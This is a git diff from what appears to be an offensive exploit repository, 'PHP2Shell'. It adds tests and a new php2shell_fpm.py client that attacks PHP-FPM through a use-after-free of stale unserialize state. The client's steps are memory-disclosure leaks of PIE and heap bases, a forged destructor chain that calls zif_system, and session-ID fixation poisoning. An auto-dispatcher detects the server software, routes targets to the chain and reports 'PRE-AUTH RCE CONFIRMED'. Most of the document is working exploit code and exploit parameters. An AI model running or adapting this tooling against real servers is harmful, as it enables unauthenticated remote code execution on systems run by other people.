test_dechunk(self): + self.assertEqual(fpm._dechunk(b"4\r\nABCD\r\n0\r\n\r\n"), b"ABCD") + self.assertEqual(fpm._dechunk(b"plain"), b"plain") + + def test_leak_geometry(self): + g = fpm._leak_geometry("8.4.26") + self.assertIsNotNone(g) + self.assertEqual(g["pads"], [32768, 16384]) + self.assertEqual(g["read_len"], 0x15810) + self.assertEqual(g["chunk_ptr_off"], 0x77F8) + self.assertEqual(g["pie_ptr_off"], 0x157E8) + + def test_leak_geometry_8425_pie_offset(self): + g = fpm._leak_geometry("8.4.25") + self.assertIsNotNone(g) + self.assertEqual(g["pie_base_off"], 0x4E9FC7) + self.assertEqual(g["pads"], [32768, 16384]) + + +class NoOracleRemoteModeTests(unittest.TestCase): + """--no-oracle must not silently read local /proc when remote.""" + + def _args(self, **extra): + base = dict( + base="http://127.0.0.1:1", + builder="http://127.0.0.1:2", + version="8.4.26", + chunk=0, + pie=0, + allow_local_fallback=False, + ) + base.update(extra) + return SimpleNamespace(**base) + + def test_http_leak_failure_does_not_use_local_fallback(self): + with mock.patch.object(fpm, "leak_bases_http", + side_effect=RuntimeError("offline")), \ + mock.patch.object(fpm, "_local_bases") as local: + self.assertEqual(fpm.cmd_no_oracle(self._args()), 1) + local.assert_not_called() + + def test_local_fallback_requires_explicit_opt_in(self): + with mock.patch.object(fpm, "leak_bases_http", + side_effect=RuntimeError("offline")), \ + mock.patch.object(fpm, "_local_bases", + side_effect=RuntimeError("no lab")) as local: + self.assertEqual( + fpm.cmd_no_oracle(self._args(allow_local_fallback=True)), 1) + local.assert_called_once_with("8.4.26") + + +class EndgamePayloadTests(unittest.TestCase): + """The forged buffer must encode the exact dtor-chain layout the + 8.4.26 source expects (var_unserializer.re, session.c, zend_hash.c).""" + + @classmethod + def setUpClass(cls): + cls.buf = fpm._build_endgame_payload(D, K, SIZE, ZIF, CMD) + + def _off(self, addr: int) -> int: + return K + (addr - D) + + def _u64(self, addr: int) -> int: + return struct.unpack_from(" int: + return struct.unpack_from(" int: + return struct.unpack_from(" dict: + return json.loads((ROOT / "profiles" / f"{version}-fpm.json").read_text()) + + def test_fpm_profile_matches_module_constants(self): + meta = self._profile()["fpm"] + self.assertEqual(meta["bg_unserialize_data_off"], + fpm.BG_UNSERIALIZE_DATA_OFF) + self.assertEqual(meta["bg_unserialize_level_off"], + fpm.BG_UNSERIALIZE_LEVEL_OFF) + self.assertEqual(meta["struct_size"], 8216) + self.assertEqual(meta["reclaim_size"], SIZE) + self.assertEqual(meta["reclaim_pads"], [4096, 4096]) + + def test_fpm_profile_is_rce_verified(self): + profile = self._profile() + self.assertEqual(profile["sapi"], "fpm") + self.assertTrue(profile["rce"]) + self.assertTrue(profile["verified"]) + self.assertEqual(profile["fixed_in"], "8.4.27") + self.assertEqual(profile["libphp"]["zif_system"], "0x386660") + + def test_fpm_8425_profile_is_rce_verified(self): + profile = self._profile("8.4.25") + self.assertTrue(profile["rce"]) + self.assertTrue(profile["verified"]) + self.assertEqual(profile["fixed_in"], "8.4.27") + self.assertEqual(profile["libphp"]["zif_system"], "0x386460") + self.assertEqual(profile["fpm"]["reclaim_pads"], [4096, 4096]) + self.assertEqual(profile["fpm"]["no_oracle"]["candidates"], + [{"d_off": "0x7f000", "k": "0xfe8"}]) + + def test_fpm_profile_validates_against_schema(self): + try: + import jsonschema + except ImportError: + self.skipTest("jsonschema not installed") + schema = json.loads((ROOT / "profiles" / "fpm-schema.json").read_text()) + for version in ("8.2.34", "8.3.35", "8.4.0", "8.4.25", "8.4.26"): + with self.subTest(version=version): + jsonschema.validate(self._profile(version), schema) + + +LAB = os.environ.get("PHP2SHELL_FPM_LAB") == "1" +LAB_VERSION = os.environ.get("PHP2SHELL_FPM_VERSION", "8.4.26") +LAB_PORTS = {"8.4.25": (8130, 8131), "8.4.26": (8110, 8111)} + + +@unittest.skipUnless(LAB, "set PHP2SHELL_FPM_LAB=1 with the FPM lab up") +class FpmLabIntegrationTests(unittest.TestCase): + """End-to-end primitive and RCE against a local FPM lab.""" + + def _args(self, **extra): + chain, builder = LAB_PORTS[LAB_VERSION] + proof = f"out/p1lab-{LAB_VERSION.replace('.', '')}" + base = dict( + base=f"http://127.0.0.1:{chain}", + builder=f"http://127.0.0.1:{builder}", + version=LAB_VERSION, + size=4 << 20, + value=1337337, + command=f"id>{proof}", + proof_file=proof, + ) + base.update(extra) + return SimpleNamespace(**base) + + def test_primitive_observable(self): + self.assertEqual(fpm.cmd_primitive(self._args()), 0) + + def test_endgame_rce_proof(self): + self.assertEqual(fpm.cmd_endgame(self._args()), 0) + + def test_no_oracle_rce_proof(self): + self.assertEqual(fpm.cmd_no_oracle(self._args()), 0) + + +class VersionRegistryTests(unittest.TestCase): + """The advisory matrix (CVE-2026-109619) has to drive every tool.""" + + def test_patched_branch_boundary(self): + self.assertTrue(versions.is_vulnerable("8.4.26")) + self.assertFalse(versions.is_vulnerable("8.4.27")) + self.assertTrue(versions.is_vulnerable("8.2.34")) + self.assertFalse(versions.is_vulnerable("8.2.35")) + self.assertTrue(versions.is_vulnerable("8.3.35")) + self.assertFalse(versions.is_vulnerable("8.3.36")) + + def test_eol_branches_are_always_vulnerable(self): + for version in ("7.2.34", "7.4.33", "8.0.30", "8.1.33"): + with self.subTest(version=version): + self.assertTrue(versions.is_vulnerable(version)) + self.assertIsNone(versions.fixed_in(version)) + + def test_chain_requires_php_eight(self): + """PHP <= 7.x never frees the unserialize struct on the bailout.""" + self.assertFalse(versions.chain_applies("7.2.34")) + self.assertFalse(versions.chain_applies("7.4.33")) + self.assertTrue(versions.chain_applies("8.0.0")) + self.assertTrue(versions.chain_applies("8.4.26")) + + def test_cancel_decode_detection_reads_the_source(self): + source = ROOT / "lab" / "fpm" / "runtime" / "src" + expected = {"php-7.2.34": False, "php-7.4.33": False, + "php-8.2.34": True, "php-8.4.26": True} + for name, want in expected.items(): + tree = source / name + if not tree.is_dir(): + self.skipTest(f"{tree} is not extracted") + with self.subTest(build=name): + self.assertEqual(versions.has_session_cancel_decode(str(tree)), + want) + + def test_fixed_in_per_branch(self): + self.assertEqual(versions.fixed_in("8.4.26"), "8.4.27") + self.assertEqual(versions.fixed_in("8.3.1"), "8.3.36") + self.assertIsNone(versions.fixed_in("7.2.1")) + + def test_affected_versions_cover_every_branch(self): + affected = versions.affected_versions() + for version in ("8.2.34", "8.3.35", "8.4.26", "7.2.34", "7.4.33"): + self.assertIn(version, affected) + + def test_ports_keep_documented_builds_and_never_collide(self): + self.assertEqual(versions.ports_for("8.4.26"), (8110, 8111, 9001, 9002)) + self.assertEqual(versions.ports_for("8.4.25"), (8130, 8131, 9021, 9022)) + used: dict[int, str] = {} + for version in ("7.2.34", "7.4.33", "8.2.34", "8.3.35", + "8.4.25", "8.4.26", "8.4.27"): + for port in versions.ports_for(version): + self.assertNotIn(port, used, f"{version} reuses {port} " + f"from {used.get(port)}") + used[port] = version + + def test_unknown_branch_is_rejected(self): + with self.assertRaises(versions.UnknownVersion): + versions.ports_for("9.9.9") + + def test_source_detection_uses_the_fix_marker(self): + source = ROOT / "lab" / "fpm" / "runtime" / "src" + fixed = source / "php-8.4.27.tar.gz" + vulnerable = source / "php-8.4.26.tar.gz" + if not (fixed.is_file() and vulnerable.is_file()): + self.skipTest("release tarballs are not downloaded") + self.assertTrue(versions.source_is_fixed(str(fixed))) + self.assertFalse(versions.source_is_fixed(str(vulnerable))) + + +MODERN_SOURCE = """\ +#define VAR_ENTRIES_MAX 1018 +struct php_unserialize_data { +\tvar_entries *last; +\tvar_dtor_entries *first_dtor; +\tvar_dtor_entries *last_dtor; +\tHashTable *allowed_classes; +\tHashTable *ref_props; +\tzend_long cur_depth; +\tzend_long max_depth; +\tvar_entries entries; +}; +""" + + +class UnserializeLayoutTests(unittest.TestCase): + """The struct shape decides which payload has to be forged.""" + + def _parse(self, text: str) -> dict: + with tempfile.TemporaryDirectory() as tmp: + path = os.path.join(tmp, "ext", "standard") + os.makedirs(path) + with open(os.path.join(path, "var_unserializer.c"), + "w", encoding="utf-8") as handle: + handle.write(text) + return profile_gen.parse_unserialize_struct(tmp) + + def test_modern_shape_has_embedded_block(self): + parsed = self._parse(MODERN_SOURCE) + self.assertEqual(parsed["offsets"]["entries"], 56) + self.assertEqual(parsed["size"], 56 + 16 + 8 * 1018) + self.assertEqual(parsed["var_entries"]["data"], 16) + self.assertEqual(parsed["var_entries"]["used_slots"], 0) + + +class PoisonTests(unittest.TestCase): + """Upload-progress session-ID fixation (the chain that works on 7.x).""" + + def _args(self, **extra): + base = dict(base="http://127.0.0.1:1", builder="http://127.0.0.1:2", + version="7.4.33", sid="fixedsid01", payload="MARKER", + progress_key=None) + base.update(extra) + return SimpleNamespace(**base) + + def test_sid_comes_from_the_post_body_and_payload_is_the_filename(self): + captured = {} + + def fake_post(parts, boundary, timeout=None): + captured["parts"] = parts + return 200, {}, b"" + + with mock.patch.object(fpm, "Target") as target_cls, \ + mock.patch.object(os.path, "isfile", return_value=False), \ + mock.patch.object(fpm.os.path, "isfile", return_value=False): + target_cls.side_effect = lambda *a, **k: mock.Mock( + post_multipart=fake_post, get=lambda *a, **k: (200, {}, b"")) + self.assertEqual(fpm.cmd_poison(self._args()), 1) + + names = [part["name"] for part in captured["parts"]] + self.assertIn("PHPSESSID", names) # POST-body sid fixation + self.assertIn("PHP_SESSION_UPLOAD_PROGRESS", names) + file_part = next(p for p in captured["parts"] + if p.get("filename") is not None) + self.assertEqual(file_part["filename"], b"MARKER") + + def test_verified_when_the_application_reflects_the_payload(self): + def post(*_args, **_kwargs): + return 200, {}, b"" + + def get(*_args, **_kwargs): + return 200, {}, b"upload_progress_pwn|a:1:{s:4:\"name\";s:6:\"MARKER\";}" + + with mock.patch.object(fpm, "Target") as target_cls, \ + mock.patch.object(fpm.os.path, "isfile", return_value=False): + target_cls.side_effect = lambda *a, **k: mock.Mock( + post_multipart=post, get=get) + self.assertEqual(fpm.cmd_poison(self._args()), 0) + +if __name__ == "__main__": + unittest.main() + + +class PieCodeWindowTests(unittest.TestCase): + """The executable window bounds the PIE-base search: the real pointer is + tried at the step that reproduces its offset, and every pointer costs at + most a handful of endgame attempts.""" + + WINDOW = (0x200000, 0x600000) + + def _steps(self, pointer: int) -> list[tuple[int, int]]: + """(step, offset) pairs the window would actually try.""" + aligned = pointer & ~(fpm.MEM_CHUNK - 1) + out = [] + for steps in range(0, 6): + candidate = aligned - steps * fpm.MEM_CHUNK + offset = pointer - candidate + if offset >= self.WINDOW[1]: + break + if offset < self.WINDOW[0]: + continue + out.append((steps, offset)) + return out + + def test_real_handler_pointer_is_tried_at_its_true_base(self): + pie = 0x557099000000 # lab-observed 8.4.26 base + pointer = pie + 0x4EA787 # execute_ex handler table + tried = self._steps(pointer) + self.assertIn((2, 0x4EA787), tried) + # the step that carries the true base is among the candidates + self.assertTrue(any(pointer - (pointer & ~(fpm.MEM_CHUNK - 1)) + + step * fpm.MEM_CHUNK == 0x4EA787 + for step, _offset in tried)) + + def test_search_is_bounded_per_pointer(self): + for pointer in (0x5570994EA787, 0x560EECEB6E20, 0x7F784BC8B000): + with self.subTest(pointer=hex(pointer)): + self.assertLessEqual(len(self._steps(pointer)), 4) + + def test_window_constant_matches_the_shipped_geometry(self): + self.assertEqual(fpm.PIE_CODE_WINDOW, self.WINDOW) diff --git a/tools/php2shell_assess.py b/tools/php2shell_assess.py index 3684d36..ba37a13 100755 --- a/tools/php2shell_assess.py +++ b/tools/php2shell_assess.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_exploit.py — PHP2Shell (CVE-2026-109618 / CVE-2026-109619) assessment and exploitation harness derived from docs/php2shell-analysis.md. @@ -37,6 +36,7 @@ from __future__ import annotations import argparse +import contextlib import ipaddress import json import random @@ -49,7 +49,6 @@ import time import urllib.parse from dataclasses import dataclass, field -from typing import Dict, List, Optional, Tuple # --------------------------------------------------------------------------- # Fixed-release matrix (docs/php2shell-analysis.md, section 2) @@ -105,7 +104,7 @@ def __init__(self, url: str): self.base_path = p.path if p.path not in ("", "/") else "/" self.host_header = self.host if self.port in (80, 443) else f"{self.host}:{self.port}" - def connect(self, timeout: float = 10.0) -> "HTTPConn": + def connect(self, timeout: float = 10.0) -> HTTPConn: return HTTPConn(self, timeout) @@ -126,14 +125,14 @@ def send(self, data: bytes) -> None: def _fill(self) -> bool: try: chunk = self.sock.recv(65536) - except (socket.timeout, ConnectionResetError, OSError): + except (TimeoutError, ConnectionResetError, OSError): return False if not chunk: return False self.buf += chunk return True - def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], bytes, List[str]]: + def read_response(self, timeout: float = 8.0) -> tuple[int, dict[str, str], bytes, list[str]]: self.sock.settimeout(timeout) while b"\r\n\r\n" not in self.buf: if not self._fill(): @@ -149,8 +148,8 @@ def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], byte except (IndexError, ValueError): status = 0 - headers: Dict[str, str] = {} - set_cookies: List[str] = [] + headers: dict[str, str] = {} + set_cookies: list[str] = [] for line in lines[1:]: if b":" not in line: continue @@ -201,14 +200,12 @@ def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], byte return status, headers, body, set_cookies def close(self) -> None: - try: + with contextlib.suppress(OSError): self.sock.close() - except OSError: - pass -def http_get(target: Target, path: str, extra: Optional[Dict[str, str]] = None, - timeout: float = 8.0) -> Tuple[int, Dict[str, str], bytes, List[str]]: +def http_get(target: Target, path: str, extra: dict[str, str] | None = None, + timeout: float = 8.0) -> tuple[int, dict[str, str], bytes, list[str]]: conn = target.connect(timeout) headers = { "Host": target.host_header, @@ -229,7 +226,7 @@ def http_get(target: Target, path: str, extra: Optional[Dict[str, str]] = None, # --------------------------------------------------------------------------- # Version classification # --------------------------------------------------------------------------- -def classify_version(version: str) -> Tuple[str, bool, str]: +def classify_version(version: str) -> tuple[str, bool, str]: m = re.search(r"(\d+)\.(\d+)\.(\d+)", version or "") if not m: return "UNKNOWN", False, "Could not extract a PHP version from the response headers." @@ -280,9 +277,9 @@ class Report: oom_reached: bool = False oom_status: int = 0 worker_alive: bool = False - disclosure: Optional[bytes] = None - pointers: List[int] = field(default_factory=list) - notes: List[str] = field(default_factory=list) + disclosure: bytes | None = None + pointers: list[int] = field(default_factory=list) + notes: list[str] = field(default_factory=list) rce_confirmed: bool = False rce_output: str = "" @@ -463,7 +460,7 @@ def check_worker_survival(cfg: Config, rep: Report) -> None: # --------------------------------------------------------------------------- def probe_disclosure(cfg: Config, rep: Report) -> None: stage("5/5", "Memory disclosure via Set-Cookie (stale PS(id))") - results: Dict[int, bytes] = {} + results: dict[int, bytes] = {} lock = threading.Lock() def worker(i: int) -> None: @@ -491,7 +488,7 @@ def worker(i: int) -> None: for t in threads: t.join() - suspicious: List[Tuple[int, bytes]] = [] + suspicious: list[tuple[int, bytes]] = [] for i, raw in sorted(results.items()): if not raw: continue diff --git a/tools/php2shell_auto.py b/tools/php2shell_auto.py index b5b4861..896ed7d 100755 --- a/tools/php2shell_auto.py +++ b/tools/php2shell_auto.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_auto.py — version-aware dispatcher for the PHP2Shell RCE chain. @@ -7,11 +6,14 @@ ---- 1. Fingerprint the target (X-Powered-By, Server, PHP version in the body). 2. Reject versions at or above the fixed release. -3. Compare the target OS with the profile (Debian/Ubuntu/Fedora/Alpine...). -4. Load the verified build profile and take the libphp offsets and heap +3. Route by SAPI: nginx (PHP-FPM) targets go to the FPM chain + (tools/php2shell_fpm.py, local lab / oracle mode); Apache targets + continue with the upstream progress-cache chain. +4. Compare the target OS with the profile (Debian/Ubuntu/Fedora/Alpine...). +5. Load the verified build profile and take the libphp offsets and heap parameters from it. -5. Run the chain, sweeping typical memory limits unless one is supplied. -6. Print a Wiz-style staged log and a result box. +6. Run the chain, sweeping typical memory limits unless one is supplied. +7. Print a Wiz-style staged log and a result box. Proof handling is automatic: - local target: read the proof file written to the mounted /out; @@ -22,24 +24,23 @@ """ from __future__ import annotations -from php2shell_paths import default_repo_dir -from php2shell_upstream import patch_params, patch_tls import argparse +import contextlib import glob +import ipaddress import json import os -import ipaddress import re import socket import ssl import subprocess -import threading -import time import sys import urllib.parse +from php2shell_paths import default_repo_dir from php2shell_ui import UI +from php2shell_upstream import patch_params, patch_tls FIXED = {"8.2": 35, "8.3": 36, "8.4": 27, "8.5": 12} HERE = os.path.dirname(os.path.abspath(__file__)) @@ -124,6 +125,71 @@ def classify(version: str): return branch, fixed, (patch >= fixed if fixed else None) +def detect_sapi(server: str) -> str: + """Best-effort SAPI guess from the Server header: nginx in front of + PHP-FPM is the common non-Apache shape.""" + text = (server or "").lower() + if "apache" in text: + return "apache" + if "nginx" in text: + return "fpm" + return "unknown" + + +def proof_path_from_command(command: str, default: str = "out/p1") -> str: + if ">" in command: + tail = command.rsplit(">", 1)[1].strip() + if tail: + return tail.lstrip("/") + return default + + +def run_fpm_chain(ui, args, version: str) -> int: + """Route an nginx+PHP-FPM target to tools/php2shell_fpm.py. + + The FPM chain (stale BG(unserialize) after a post-RINIT OOM) still needs + the lab builder/session endpoints and, for `endgame`, the local /proc + oracle. `no-oracle` can leak the chunk/PIE bases over HTTP, but the + shipped dispatcher remains loopback-only.""" + import php2shell_fpm as fpm + + host = urllib.parse.urlsplit( + args.target if "://" in args.target else "http://" + args.target + ).hostname or "" + if not is_loopback(host): + ui.crit("the FPM chain needs local /proc oracle access (lab mode)") + ui.info("remote FPM still requires the builder/session endpoints (lab-only)") + ui.result(False, "FPM REMOTE UNSUPPORTED", f"PHP {version} behind a non-loopback front") + return 3 + + base = args.target if "://" in args.target else "http://" + args.target + builder = args.builder or base + # the auto defaults (id>/out/p1) target the Apache chain's mounted /out; + # the FPM chain runs with the pool chdir as cwd and writes relative paths + command = args.command + if command in ("id>/out/p1", "id>p1"): + command = "id>out/p1" + proof_file = args.proof_file or proof_path_from_command(command) + + ui.stage("FPM CHAIN", f"PHP {version} via {base}") + ui.info(f"builder: {builder}") + ui.info(f"command: {command} (worker cwd = pool chdir)") + ui.info("calibration oracle: /proc//mem (local lab)") + + ns = argparse.Namespace( + base=base, + builder=builder, + version=version, + command=command, + proof_file=proof_file, + size=4 << 20, + ) + rc = fpm.cmd_endgame(ns) + ui.result(rc == 0, "RCE" if rc == 0 else "FAILED", + f"PHP {version} fpm chain" if rc == 0 else "no proof file") + return rc + + def is_loopback(host: str) -> bool: try: infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM) @@ -169,7 +235,7 @@ def load_profiles(directory: str): profiles = [] for path in sorted(glob.glob(os.path.join(directory, "*.json"))): try: - with open(path, "r", encoding="utf-8") as fh: + with open(path, encoding="utf-8") as fh: data = json.load(fh) if not isinstance(data, dict) or "php_version" not in data: continue @@ -235,13 +301,12 @@ def interactive_loop(args, profile, outdir, ui: UI) -> int: continue stage_script(outdir, line) output = os.path.join(outdir, "o") - try: + with contextlib.suppress(OSError): os.unlink(output) - except OSError: - pass rc = run_upstream(args, profile, output, huge, ui, stream=False) if os.path.isfile(output): - print(open(output, "r", encoding="utf-8", errors="replace").read().rstrip()) + with open(output, encoding="utf-8", errors="replace") as handle: + print(handle.read().rstrip()) else: ui.warn(f"no output (chain exit {rc})") return 0 @@ -319,10 +384,8 @@ def __init__(self, url: str, count: int): f"User-Agent: php2shell-pin/1.0\r\nConnection: keep-alive\r\n\r\n").encode() s.sendall(req) s.settimeout(3) - try: + with contextlib.suppress(OSError): s.recv(65536) - except OSError: - pass self.socks.append(s) @classmethod @@ -355,32 +418,24 @@ def auto_remote(cls, url: str, max_pins: int = 32): s.sendall(req) s.settimeout(2) data = s.recv(65536) - except socket.timeout: + except TimeoutError: if s is not None: - try: + with contextlib.suppress(OSError): s.close() - except OSError: - pass break except OSError: if s is not None: - try: + with contextlib.suppress(OSError): s.close() - except OSError: - pass break if not data: - try: + with contextlib.suppress(OSError): s.close() - except OSError: - pass break head = data.split(b"\r\n\r\n", 1)[0].lower() if b"connection: close" in head: - try: + with contextlib.suppress(OSError): s.close() - except OSError: - pass for p in pins: p.close() return None @@ -394,10 +449,8 @@ def auto_remote(cls, url: str, max_pins: int = 32): def close(self) -> None: for s in self.socks: - try: + with contextlib.suppress(OSError): s.close() - except OSError: - pass def probe_memory_limit(args, ui: UI) -> int | None: @@ -559,13 +612,17 @@ def main() -> int: help="CPU architecture; required for remote targets, auto-detected locally") ap.add_argument("--profile", default=None, help="force a profile by name/path substring (needed when a version has several builds)") + ap.add_argument("--sapi", choices=("auto", "apache", "fpm"), default="auto", + help="override the SAPI detection (fpm = nginx + PHP-FPM chain)") + ap.add_argument("--builder", default=None, + help="FPM chain builder endpoint (default: the target itself)") ap.add_argument("--no-color", action="store_true") args = ap.parse_args() profiles = load_profiles(args.profiles) catalog = {} try: - with open(args.catalog, "r", encoding="utf-8") as fh: + with open(args.catalog, encoding="utf-8") as fh: catalog = json.load(fh) except (OSError, ValueError): pass @@ -638,6 +695,11 @@ def main() -> int: if fixed is None: ui.warn(f"branch {branch} is outside the fix matrix (EOL/unpatched)") + sapi = args.sapi if args.sapi != "auto" else detect_sapi(server) + if sapi == "fpm": + ui.info(f"SAPI: fpm (server header {server!r}); using the FPM chain") + return run_fpm_chain(ui, args, version) + if args.profile: matches = [p for p in profiles if args.profile in p.get("name", "") or args.profile in p.get("_path", "")] @@ -729,7 +791,8 @@ def main() -> int: return 4 if args.script: try: - body = open(args.script, "r", encoding="utf-8").read() + with open(args.script, encoding="utf-8") as handle: + body = handle.read() except OSError as exc: ui.crit(f"cannot read {args.script}: {exc}") return 4 @@ -810,10 +873,8 @@ def main() -> int: huge = args.huge_mb if args.huge_mb else oom_for(int(limit), profile) ui.stage("EXECUTE", f"memory_limit={limit}M · huge_mb={huge}") if proof and os.path.exists(proof): - try: + with contextlib.suppress(OSError): os.unlink(proof) - except OSError: - pass rc = run_upstream(args, profile, proof, huge, ui) if rc == 0: break @@ -830,10 +891,9 @@ def main() -> int: detail = "proof retrieved by --fetch" if proof and os.path.isfile(proof): - try: - detail = open(proof, "r", encoding="utf-8", errors="replace").read().strip() - except OSError: - pass + with contextlib.suppress(OSError), \ + open(proof, encoding="utf-8", errors="replace") as handle: + detail = handle.read().strip() ui.result(True, "PRE-AUTH RCE CONFIRMED", detail) return 0 diff --git a/tools/php2shell_calibrate.py b/tools/php2shell_calibrate.py index 3923503..00cfb3a 100755 --- a/tools/php2shell_calibrate.py +++ b/tools/php2shell_calibrate.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_calibrate.py — build a verified profile for one PHP/libphp build. @@ -35,8 +34,6 @@ """ from __future__ import annotations -from php2shell_paths import default_repo_dir -from php2shell_upstream import patch_params, patch_tls import argparse import importlib.util @@ -49,6 +46,9 @@ import time import urllib.parse +from php2shell_paths import default_repo_dir +from php2shell_upstream import patch_params, patch_tls + HERE = os.path.dirname(os.path.abspath(__file__)) ROOT = os.path.dirname(HERE) FIXED = {"8.2": 35, "8.3": 36, "8.4": 27, "8.5": 12} @@ -109,7 +109,7 @@ def extract_symbols(repo: str, container: str) -> dict: subprocess.run([sys.executable, script, container], check=True) env = os.path.join(repo, "out", "offsets.env") values = {} - with open(env, "r", encoding="utf-8") as fh: + with open(env, encoding="utf-8") as fh: for line in fh: if "=" in line and not line.startswith("#"): k, v = line.strip().split("=", 1) @@ -295,7 +295,8 @@ def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints): except Exception as exc: print(f" stage3 {name}: {exc}") if os.path.exists(proof) and os.path.getsize(proof) > 0: - print(f"[+] stage3 {name}: {open(proof).read().strip()}") + with open(proof) as handle: + print(f"[+] stage3 {name}: {handle.read().strip()}") return True, {"htdata": off, "pads": pads} print(f" stage3 {name}: no proof") return False, None diff --git a/tools/php2shell_fpm.py b/tools/php2shell_fpm.py new file mode 100755 index 0000000..fb773b7 --- /dev/null +++ b/tools/php2shell_fpm.py @@ -0,0 +1,1871 @@ +#!/usr/bin/env python3 +""" +php2shell_fpm.py — CVE-2026-109619 exploitation client for nginx + PHP-FPM. + +The upstream Apache chain (progress-cache UAF, vendor exploit.py stages 1-3) +needs a pre-RINIT OOM, which on FPM kills the worker (fpm_main.c:1871 -> +FPM_EXIT_SOFTWARE). The FPM-viable primitive is the cross-request +BG(unserialize) stale state: + + producer A GET app.php + Cookie PHPSESSID= + -> session_start() decodes a ~4MB session post-RINIT -> OOM + -> php_execute_script's zend_try catches the bailout, the + worker survives, BG(unserialize) keeps {level=1, data=d} + pointing at the (teardown-freed) 8216-byte struct. + consumer B multipart POST (pre-RINIT): the rfc1867 handler runs inside + php_hash_environment(), i.e. BEFORE zend_activate_modules() + (main.c:1873-1874) where PHP_RINIT(basic) would memset BG. + php_session_initialize() -> php_session_decode() -> + php_var_unserialize_init() reuses d. B reclaims d's slot with + a controlled buffer and plants a forged var_entries. + +Lab-only aid: the /proc//mem oracle reads BG(unserialize).data (d), +the worker's PIE base and buffer addresses, making the reclaim deterministic +to calibrate. `no-oracle` removes that oracle from the exploit path: it takes the two +absolute bases from an HTTP-only stale-string OOB leak, from --chunk/--pie, +or from /proc//maps, then brute-forces the two struct slots. + +Subcommands: + lifecycle worker-death matrix (pre- vs post-RINIT OOM) + oracle print worker pid, pie base, chunk base, d, level + build-oom builder-pool POST -> ~4MB session file (cleanup=Off) + build-ref builder-pool POST ref.php -> session file with R:2 + producer one request A (stale BG) + reclaim-probe A + patterned B, read back d via oracle (sweep pad sizes) + primitive A + B with forged benign var_entries (observable via app.php) + endgame A + B with forged ref/array/zif_system chain (RCE proof file) + leak HTTP-only chunk/PIE leak from a stale session string + no-oracle endgame without /proc//mem (HTTP leak, --chunk/--pie, + or local maps) + chain full pipeline (primitive or endgame phase) + patchcheck run lifecycle+oracle+producer+probe on 8.4.26 vs 8.4.27 +""" + +from __future__ import annotations + +import argparse +import contextlib +import copy +import json +import os +import re +import socket +import struct +import subprocess +import sys +import time +import urllib.parse + +HERE = os.path.dirname(os.path.abspath(__file__)) +ROOT = os.path.dirname(HERE) +sys.path.insert(0, HERE) + +import php2shell_fpm_versions as registry # noqa: E402 + +LAB = os.path.join(ROOT, "lab", "fpm") +RUNTIME = os.path.join(LAB, "runtime") + +BG_UNSERIALIZE_DATA_OFF = 872 # offsetof(php_basic_globals, unserialize.data) +BG_UNSERIALIZE_LEVEL_OFF = 880 +MEM_CHUNK = 0x200000 + +OOM_SID = b"fmroom000000000001" +REF_SID = b"fpmref000000000001" + +PATHS = { + "app": "/app.php", + "arm": "/bigvar.php", + "ref": "/ref.php", + "probe": "/nope.php", + "cookie": "PHPSESSID", +} + + +def _cookie(sid: bytes) -> bytes: + return PATHS["cookie"].encode("latin1") + b"=" + sid + + +def configure_paths(args) -> None: + for key, attr in (("app", "app_path"), ("arm", "arm_path"), + ("ref", "ref_path"), ("probe", "probe_path"), + ("cookie", "session_cookie")): + value = getattr(args, attr, None) + if value: + PATHS[key] = str(value) + + +# --------------------------------------------------------------------------- # +# http +# --------------------------------------------------------------------------- # + +class Target: + def __init__(self, url: str, timeout: float = 60.0): + u = urllib.parse.urlsplit(url) + self.host = u.hostname or "127.0.0.1" + self.port = u.port or 80 + self.path = u.path or "/" + self.timeout = timeout + + def _connect(self) -> socket.socket: + sock = socket.create_connection((self.host, self.port), timeout=self.timeout) + sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + return sock + + def _exch(self, request: bytes, read_cap: int = 1 << 22, + timeout: float | None = None) -> tuple[int, dict[str, str], bytes]: + sock = self._connect() + sock.settimeout(timeout or self.timeout) + try: + sock.sendall(request) + data = bytearray() + while len(data) < read_cap: + try: + chunk = sock.recv(65536) + except OSError: + break + if not chunk: + break + data.extend(chunk) + finally: + sock.close() + head, _, body = bytes(data).partition(b"\r\n\r\n") + lines = head.decode("latin1", "replace").split("\r\n") + status = 0 + if lines and re.match(r"HTTP/1\.[01] \d{3}", lines[0]): + status = int(lines[0].split()[1]) + headers: dict[str, str] = {} + for line in lines[1:]: + if ":" in line: + k, v = line.split(":", 1) + headers[k.strip().lower()] = v.strip() + return status, headers, body + + def get(self, path: str, cookie: bytes | None = None, + read_cap: int = 1 << 22) -> tuple[int, dict[str, str], bytes]: + extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else "" + req = (f"GET {path} HTTP/1.1\r\nHost: {self.host}:{self.port}\r\n" + f"{extra}Connection: close\r\n\r\n").encode() + return self._exch(req, read_cap=read_cap) + + def post_multipart(self, parts: list[dict], boundary: bytes, + cookie: bytes | None = None, + read_cap: int = 1 << 22, + timeout: float | None = None) -> tuple[int, dict[str, str], bytes]: + body = build_multipart(parts, boundary) + extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else "" + req = (f"POST {self.path} HTTP/1.1\r\nHost: {self.host}:{self.port}\r\n" + f"{extra}" + f"Content-Type: multipart/form-data; boundary={boundary.decode('latin1')}\r\n" + f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode() + body + return self._exch(req, read_cap=read_cap, timeout=timeout) + + def post_urlencoded(self, fields: dict[str, str], + cookie: bytes | None = None, + path: str | None = None) -> tuple[int, dict[str, str], bytes]: + body = urllib.parse.urlencode(fields).encode() + extra = f"Cookie: {cookie.decode('latin1')}\r\n" if cookie else "" + req = (f"POST {path or self.path} HTTP/1.1\r\nHost: {self.host}:{self.port}\r\n" + f"{extra}Content-Type: application/x-www-form-urlencoded\r\n" + f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n").encode() + body + return self._exch(req) + + +def build_multipart(parts: list[dict], boundary: bytes) -> bytes: + out = bytearray() 